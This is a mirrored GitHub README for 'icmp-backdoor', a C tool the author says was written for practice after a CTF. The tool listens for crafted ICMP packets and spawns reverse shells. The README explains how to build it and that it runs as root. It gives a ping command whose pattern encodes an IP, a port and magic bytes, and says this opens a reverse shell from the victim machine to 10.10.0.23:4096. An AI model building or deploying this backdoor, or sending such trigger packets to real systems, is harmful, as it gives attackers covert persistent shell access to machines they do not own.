Coder Social home page Coder Social logo

5l1v3r1 / icmp-backdoor Goto Github PK

View Code? Open in Web Editor NEW

This project forked from droberson/icmp-backdoor

0.0 1.0 0.0 17 KB

Backdoor that listens for specially crafted ICMP packets and spawns reverse shells.

License: MIT License

Makefile 2.81% C 93.92% Python 3.28%

icmp-backdoor's Introduction

icmp-backdoor

During the BSidesLV Pros vs. Joes CTF, it was revealed that the red cell used a very similar tool to this known as prism to achieve persistence in a few of our machines. I decided to write my own tool similar to this for practice.

Prism: https://github.com/andreafabrizi/prism

The concept behind this tool is that it listens for specially crafted ICMP packets, and if they match a certain criteria, it will spawn a reverse shell to a specified host and port.

Building

First, you should edit icmp-backdoor.c. In particular, change the MAGIC1, MAGIC2, and PROGNAME macros to values that suit your needs.

Next, just use make. This has currently been tested only on Linux. Will test on BSD, macOS and others soon:

$ make

If you don't have make or if gcc isn't your thing:

$ clang -o icmp-backdoor icmp-backdoor.c

Usage

Since this uses SOCK_RAW, you must run this as root or otherwise have the ability to open raw sockets as the user that initially runs this.

Prism uses its own tool to send the packets. I opted for a "live off the land" approach and use the commonly-available ping utility with the -p flag:

$ ping -c 1 -p 0a0a001710002a7a host

The format for the pattern is: IIIIIIIIPPPPMMMM where I is IP address, P is port, and M is magic bytes. This is represented as hexadecimal, so you will either have to be a weirdo like me and be able to calculate this in your head or use a calculator.

See the included calc.py for a handy calculator for this.

In the above example:

IP: 0a0a0017 is 10.10.0.23
Port: 1000 is 4096
Magic is 2a7a, which is hard-coded into this program.

This will open a reverse shell from the victim machine to 10.10.0.23:4096.

The magic bytes are there for alignment purposes when using the -p flag with ping and as a mechanism to determine if a shell should be opened when an ICMP packet is received.

icmp-backdoor's People

Contributors

droberson avatar

Watchers

 avatar

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.